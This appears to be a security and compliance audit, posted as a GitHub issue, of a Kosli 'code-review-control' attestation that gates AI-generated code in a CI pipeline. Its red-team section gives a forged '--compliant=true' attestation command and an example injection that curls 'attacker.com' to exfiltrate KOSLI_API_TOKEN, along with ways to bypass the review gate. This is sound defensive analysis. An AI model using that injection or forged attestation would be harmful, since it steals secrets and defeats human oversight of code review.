[Audit] #28 code-review-control

[AlexKantor87]

Attestation Identity

• Slot name(s): code-review-control
• Flow: Build (agentic-sdlc-demo-GH{issue}-Build)
• Level: Artifact-level (bound to artifact-fingerprinted — source directory SHA256)
• Kosli type: generic in build-template.yml (line 58) — BUT custom type code-review-control exists in setup.sh with 5 jq rules and a JSON schema
• Schema: kosli/attestation-types/schemas/code-review-control.json (10 required fields including review_flow_name, total_loops, configured_loops, compliant_loops, all_loops_compliant, final_verdict, issue_number, commit_sha, evaluated_at)
• jq evaluator rules (custom type, currently UNUSED):
  1. .all_loops_compliant == true
  2. .final_verdict == "ACCEPTED"
  3. .total_loops >= 1
  4. .compliant_loops == .total_loops
  5. .total_loops == .configured_loops
• Instances per trail: 1

Control Objective

• Risk mitigated: Unreviewed or partially-reviewed code reaching production. Specifically: (a) code merging without completing all review loops, (b) non-compliant review trails being ignored, (c) review process being skipped entirely, (d) Final trail missing (review loop did not complete to conclusion), (e) ticket tampering during review, (f) unresolved review threads persisting into production.
• Auditor question: "Can you demonstrate that every code change underwent a complete, multi-loop agentic review process and that all review trails were fully compliant before the build artifact was produced?"
• Regulatory mapping:
  • SOC 2 CC8.1 — Changes to infrastructure, data, software, and procedures are authorized, designed, developed, tested, approved, implemented, and maintained to meet the entity's objectives. This control provides the "approved" gate by verifying all review loops completed compliantly.
  • SOC 2 CC6.1 — Logical access security: the Rego policy checks ticket-integrity (issue_locked) to prevent unauthorized modification during review.
  • ISO 27001 A.8.25 — Secure development lifecycle: mandates formal review checkpoints before code progresses through pipeline stages.
  • ISO 27001 A.8.26 — Application security requirements: this control verifies that security review (multi-persona including Security & Compliance agent) was included in the review process.
  • ISO 27001 A.8.32 — Change management: the control bridges the review flow to the build flow, ensuring review evidence is bound to a specific artifact fingerprint.

Evidence Specification

Field	Type	Source	Required	Validated by
review_flow_name	string	CI job (needs.setup.outputs.review_flow_name)	Yes	Schema only (custom type unused)
review_trails	array[string]	kosli list trails --flow + jq parse	Yes	Schema only
policy_allowed	boolean	kosli evaluate trails with Rego policy	Yes	Rego: allow rule
violations	array[string]	Rego policy violations set	Yes	Rego: 5 violation rules
policy_file	string	Hardcoded path kosli/policies/code-review-control.rego	Yes	None
commit_sha	string	git rev-parse HEAD	Yes	Schema minLength: 7
evaluated_at	string (ISO 8601)	date -u in CI	Yes	Schema format: date-time
total_loops	integer	NOT currently in CI payload	Yes (schema)	jq rule .total_loops >= 1 (unused)
configured_loops	integer	NOT currently in CI payload	Yes (schema)	jq rule .total_loops == .configured_loops (unused)
compliant_loops	integer	NOT currently in CI payload	Yes (schema)	jq rule .compliant_loops == .total_loops (unused)
all_loops_compliant	boolean	NOT currently in CI payload	Yes (schema)	jq rule .all_loops_compliant == true (unused)
final_verdict	string (enum)	NOT currently in CI payload	Yes (schema)	jq rule .final_verdict == "ACCEPTED" (unused)

• Evidence producer: GitHub Actions CI runner (code-review-control job, ubuntu-latest)
• Producer trust level: MEDIUM — GitHub-hosted runner with Kosli CLI. The kosli evaluate trails command runs client-side; results are parsed via shell and jq. The --compliant flag is set by the CI script based on the Rego allow output.
• Tamper resistance: LOW-MEDIUM
  • The Rego policy file is version-controlled in the repo and checked out at runtime, so PR authors could theoretically modify the policy in the same PR that modifies the code.
  • The --compliant flag is computed client-side and passed to kosli attest generic. A compromised runner or malicious workflow edit could set --compliant=true regardless of Rego output.
  • Because the build template uses type: generic instead of type: custom:code-review-control, the 5 jq rules and JSON schema in setup.sh provide zero server-side validation. Any JSON payload is accepted.
  • The || true on the kosli evaluate trails command (line 271) means Rego evaluation failures are silently swallowed — the job continues and defaults to ALLOWED=false, but error conditions are not distinctly surfaced.

Compliance Logic

• Compliant when: ALL of the following:
  1. At least one review trail exists in the review flow (count(input.trails) > 0)
  2. Every trail has is_compliant == true (all attestation slots filled, all jq rules passed within the review flow)
  3. A trail ending in -Final exists (proves the review loop completed to conclusion)
  4. Every trail has ticket-integrity attestation with issue_locked == true (prevents ticket tampering during review)
  5. The Final trail has zero unresolved review threads (threads_left_open == 0)
  6. kosli evaluate trails returns allow == true, which is mapped to --compliant=true
• Non-compliant when: Any violation detected by the Rego policy, including:
  • No trails in the review flow
  • Any trail is non-compliant
  • No -Final trail exists
  • Ticket was unlocked during any review loop
  • Final trail has open/unresolved review threads
• Threshold source: Rego policy at kosli/policies/code-review-control.rego. No configurable thresholds — all checks are binary pass/fail. The number of expected loops is NOT validated at this layer (the configured_loops check exists only in the unused custom type jq rules).

Edge Cases & Failure Modes

• Check cannot run:
  • If the review flow does not exist or has no trails, kosli list trails returns empty. The CI job sets trail_count=0 and skips evaluation. The attestation still fires with --compliant=false. This is correct fail-closed behavior.
  • If the Kosli API is unreachable, the kosli evaluate trails command fails silently due to || true. ALLOWED defaults to false. Attestation may also fail if the API is still down, leaving the slot unfilled (trail non-compliant).
• Partial evidence:
  • If some trails exist but the Final trail is missing, the Rego policy correctly flags this as a violation.
  • If a trail exists but is missing attestation slots (e.g., ticket-integrity not attested), the trail-level is_compliant will already be false, caught by the "all trails must be compliant" rule.
• Bypass vectors:
  1. Policy-in-repo: The Rego policy file is in the same repo as the code. A PR that weakens the policy (e.g., default allow = true) could self-approve if the CI runs the modified policy. Mitigation: policy changes should require separate approval.
  2. Generic type: Since the template uses type: generic, Kosli performs no server-side payload validation. An attacker with workflow edit access could kosli attest generic --compliant=true with arbitrary or empty user-data.
  3. Review flow name manipulation: If review_flow_name is incorrectly computed (wrong issue number), the control could evaluate trails from a different issue's review, leading to a false pass.
  4. Shell injection: Trail names are interpolated directly into shell commands (${{ steps.trails.outputs.trail_names }}). Malicious trail names with shell metacharacters could inject commands, though trail names are typically controlled by the review orchestrator.
• False positive risk: LOW — the Rego policy is strict (5 violation rules, all must pass). A false positive (flagging compliant review as non-compliant) would block the build but is self-correcting (re-run or investigate).
• False negative risk: MEDIUM — the biggest false-negative vector is the type: generic issue. If an attacker bypasses the Rego evaluation but still calls kosli attest generic --compliant=true, nothing server-side will catch this.
• TOCTOU gaps:
  • The review flow trails are evaluated at a point in time. If new attestations are added to the review flow after evaluation but before the build completes, they are not reflected.
  • The commit SHA checked in CI (git rev-parse HEAD) is the merge commit, not the reviewed commit. If the branch is updated between review and merge, the review evidence may not match the built code. (The artifact-integrity-control is designed to catch this.)

Dependencies

• Upstream:
  • setup job: provides review_flow_name, kosli_flow_name, kosli_trail_name, issue_id
  • build job: provides fingerprint (source directory SHA256) that this attestation is bound to
  • Review flow (cross-flow): all Loop and Final trails must be compliant in the code-review flow
• Downstream:
  • This attestation fills the code-review-control slot in the build trail. The build trail cannot be compliant until this slot (and all 7 other artifact attestation slots) are filled and compliant.
  • No other CI job directly depends on this job's outputs, but the overall build trail compliance is the merge gate.
• Cross-flow:
  • Reads from: agentic-sdlc-demo-GH{issue}-CodeReview flow (review trails, attestation statuses)
  • Writes to: agentic-sdlc-demo-GH{issue}-Build flow (build trail, code-review-control slot)
  • The Rego policy inspects nested attestation data within review trails: ticket-integrity.attestation_data.issue_locked and resolver-threads-resolved.attestation_data.threads_left_open

Assessment

• Implementation match: PARTIAL — The Rego policy is well-designed with 5 distinct violation checks covering structural (trails exist), compliance (all compliant), completeness (Final trail), integrity (ticket locked), and resolution (threads resolved). However, the CI pipeline payload does NOT match the custom type schema. The CI constructs a payload with review_flow_name, review_trails, policy_allowed, violations, policy_file, commit_sha, and evaluated_at — but omits total_loops, configured_loops, compliant_loops, all_loops_compliant, final_verdict, and issue_number, all of which are required by the schema.
• Evidence sufficiency: INSUFFICIENT — The Rego policy provides strong client-side evaluation, but because the attestation uses type: generic, the Kosli server performs zero validation. The 5 jq rules and JSON schema defined for the code-review-control custom type are completely inert. The --compliant flag is the only signal, and it is set by a shell script on a CI runner.
• Gaps:
  1. TYPE MISMATCH (Critical): build-template.yml declares type: generic but setup.sh creates a custom type code-review-control with 5 jq rules and a 10-field required schema. The custom type is never used. This means no server-side evidence validation occurs.
  2. PAYLOAD MISMATCH (High): The CI pipeline payload is missing 5 of the 10 required schema fields (total_loops, configured_loops, compliant_loops, all_loops_compliant, final_verdict). Even if the type were switched to custom:code-review-control, the attestation would fail schema validation.
  3. POLICY-IN-REPO (Medium): The Rego policy is co-located with the code it gates. A single PR could modify both the policy and the code, weakening the control.
  4. SILENT ERROR SWALLOWING (Medium): The || true on kosli evaluate trails means errors (API failures, malformed JSON, CLI bugs) are treated identically to policy violations. There is no distinct error-vs-denied signal.
  5. NO CONFIGURED_LOOPS VALIDATION (Medium): The Rego policy does not validate that the number of trails matches the configured review rounds. This check exists only in the unused jq rules. A review that ran 1 loop instead of the configured 3 would still pass if that 1 loop + Final were compliant.
• Recommendations:
  1. Switch to custom type: Change build-template.yml line 58 from type: generic to type: custom:code-review-control to activate server-side jq rules and schema validation.
  2. Align CI payload: Update the CI job to construct a payload matching all 10 required schema fields, including computing total_loops, configured_loops, compliant_loops, all_loops_compliant, and final_verdict from the evaluation results.
  3. Externalize policy: Move Rego policies to a separate repo or branch protection rule so they cannot be modified in the same PR as the code they gate.
  4. Distinguish errors from denials: Replace || true with explicit error handling that distinguishes API/CLI errors from legitimate policy denials. Surface errors as distinct attestation metadata.
  5. Add configured_loops to Rego: Add a Rego rule that validates count(input.trails) matches an expected value, or pass configured_loops as external data to the policy.
• Verdict: NEEDS IMPROVEMENT — The Rego policy design is strong, and the 5 violation rules provide good coverage of review completeness and integrity. However, the type: generic declaration nullifies all server-side evidence validation, the CI payload does not match the custom type schema, and the policy-in-repo pattern creates a bypass vector. These gaps must be closed before this control can be relied upon for SOC 2 or ISO 27001 audit evidence.

[AlexKantor87]

SOC 2 Auditor Perspective

Control relevance: This control maps to CC8.1 (Change Management) and CC6.1 (Logical Access). The intent — verifying that every code change undergoes a complete, multi-loop agentic review before build — is well-aligned with SOC 2 requirements for authorized change approval.

Evidence quality concerns:

1. No server-side enforcement. The type: generic declaration means Kosli accepts any payload with any --compliant value. From an audit perspective, this is equivalent to a self-signed certificate — the evidence producer is also the evidence validator. For SOC 2, we need the control to produce evidence that cannot be trivially forged by the system under control. Switching to custom:code-review-control would provide independent server-side validation via the 5 jq rules.

2. Payload does not match schema. Even if we accept the current generic type, the CI payload omits total_loops, configured_loops, compliant_loops, all_loops_compliant, and final_verdict. An auditor reviewing the attestation record would not be able to answer: "How many review loops were configured? How many actually ran? Were they all compliant?" This information is derivable from the review flow trails but is not captured in the attestation evidence itself.

3. Policy integrity. The Rego policy is stored in the same repository. SOC 2 CC6.1 expects separation of duties — the developer should not be able to modify the control logic that gates their own code. A compensating control (branch protection on kosli/policies/, CODEOWNERS, or external policy repo) would address this.

4. Error handling. The || true pattern means we cannot distinguish "the review was evaluated and failed" from "the evaluation command crashed." For audit trail completeness, these should produce different attestation records.

Audit readiness: NOT READY. The control design is sound but the implementation has gaps that would be flagged in a SOC 2 Type II examination. The primary finding would be: "The control relies on client-side evaluation with no independent verification of evidence integrity."

[AlexKantor87]

Red Team Perspective

Attack surface analysis for code-review-control:

Vector 1: Policy Modification (Severity: HIGH)
The Rego policy at kosli/policies/code-review-control.rego is checked out from the same branch being built. An attacker who controls the PR branch can:

• Change default allow = false to default allow = true
• Remove individual violation rules
• Modify has_final_trail to match any trail name
  The CI job would then evaluate the weakened policy against the review trails and produce --compliant=true. Since the attestation type is generic, Kosli has no way to detect this.

Mitigation: Pin the policy checkout to a protected branch (main), use a separate checkout step for kosli/policies/, or move policies to an external repo.

Vector 2: Direct Attestation Forgery (Severity: HIGH)
With access to KOSLI_API_TOKEN and knowledge of the flow/trail names, an attacker can run:

kosli attest generic --flow <flow> --trail <trail> --name code-review-control \
  --compliant=true --fingerprint <fp> --user-data '{}' --commit <sha>

This fills the slot with a compliant attestation containing no meaningful evidence. The type: generic accepts any payload, including empty JSON.

Mitigation: Switch to type: custom:code-review-control. The 5 jq rules would then reject empty or fabricated payloads at the server level.

Vector 3: Shell Injection via Trail Names (Severity: MEDIUM)
Trail names from kosli list trails are interpolated into shell commands without quoting:

RESULT=$(kosli evaluate trails ${{ steps.trails.outputs.trail_names }} \

If an attacker can create a trail with a name containing shell metacharacters (e.g., ; curl attacker.com/exfil?token=$KOSLI_API_TOKEN), this could lead to command injection. The blast radius includes exfiltration of KOSLI_API_TOKEN.

Mitigation: Quote the variable or iterate over trail names individually with proper escaping.

Vector 4: Review Flow Aliasing (Severity: MEDIUM)
The review flow name is computed from the issue number. If the computation is incorrect (e.g., a race condition or naming collision), the control could evaluate a different issue's review trails. A passing review from issue #100 could satisfy the control for issue #200 if the flow name is wrong.

Mitigation: Include the issue number in the attestation payload and cross-validate it against the build trail's issue context.

Vector 5: Error-as-Denial Confusion (Severity: LOW)
The || true on kosli evaluate trails means CLI crashes, network timeouts, and authentication failures all result in ALLOWED=false. An attacker could exploit this by intentionally causing evaluation failures (e.g., corrupting the Rego file) to create a pattern of "expected failures" that normalizes non-compliant builds.

Overall assessment: The control has a solid Rego policy but the delivery mechanism (generic type, policy-in-repo, unquoted shell interpolation) creates multiple exploit paths. The highest-priority fix is switching to the custom type to get server-side validation.

[AlexKantor87]

AI Governance Perspective

Context: This control gates whether AI-generated code (produced by the coding agent) has been adequately reviewed by the multi-agent review system (Claude + OpenAI reviewers, moderator debate, resolver). It is the primary attestation that bridges AI code generation to human-equivalent review assurance.

Governance observations:

1. Review Completeness Verification
The Rego policy checks that a -Final trail exists, which proves the review loop ran to completion (not just that loops started). This is a good design — it ensures the full review lifecycle (review -> resolve -> re-review -> final) completed. However, it does NOT verify the number of loops. A single Loop1 + Final would pass even if the system was configured for 3 review rounds. The unused jq rule .total_loops == .configured_loops was designed to catch this but is inert due to the type: generic issue.

2. Multi-Model Review Assurance
The Rego policy checks is_compliant on each trail, which transitively verifies that all attestation slots in each review trail were filled (including slots for Claude review, OpenAI review, moderator debate, cross-model consensus). However, this control does not independently verify that multiple models were used. It trusts the review flow's trail compliance, which is appropriate for separation of concerns but means this control cannot independently attest to multi-model review.

3. AI Agent Accountability Chain
The attestation payload records review_flow_name, review_trails, and violations — providing traceability from the build artifact back to the specific review trails. This is good for the accountability chain. However, the payload does not record which AI models performed the review, their versions, or the review costs. For AI governance reporting (e.g., "What percentage of reviews used multi-model consensus?"), this data would need to be extracted from the review flow trails, not from this control's attestation.

4. Unresolved Findings Gate
The Rego rule checking threads_left_open == 0 in the Final trail is a strong governance control. It ensures that AI reviewer findings cannot be silently ignored — every finding must be explicitly resolved (fixed, won't-fix, or deferred) before the review is considered complete. This addresses the "AI review theatre" risk where reviews are performed but findings are never actioned.

5. Ticket Integrity During AI Review
The issue_locked check prevents the AI review scope from being modified mid-review (e.g., changing acceptance criteria after the review started). This is important for AI governance because it ensures the review agents evaluated the agreed-upon requirements, not requirements that were retroactively adjusted to match what the coding agent produced.

Recommendations for AI Governance:

• Activate the custom type to enforce the configured_loops check, ensuring the configured number of review rounds actually ran.
• Consider adding a field to the evidence payload that records whether multi-model review was enabled and which models participated, to support AI governance reporting.
• Document the intended review loop count as a configurable parameter with audit trail, so changes to review intensity are themselves governed.
• Consider whether the final_verdict enum (ACCEPTED/ESCALATED/ERROR/UNKNOWN) should be surfaced in audit reports to track the rate of human escalation vs. automated acceptance.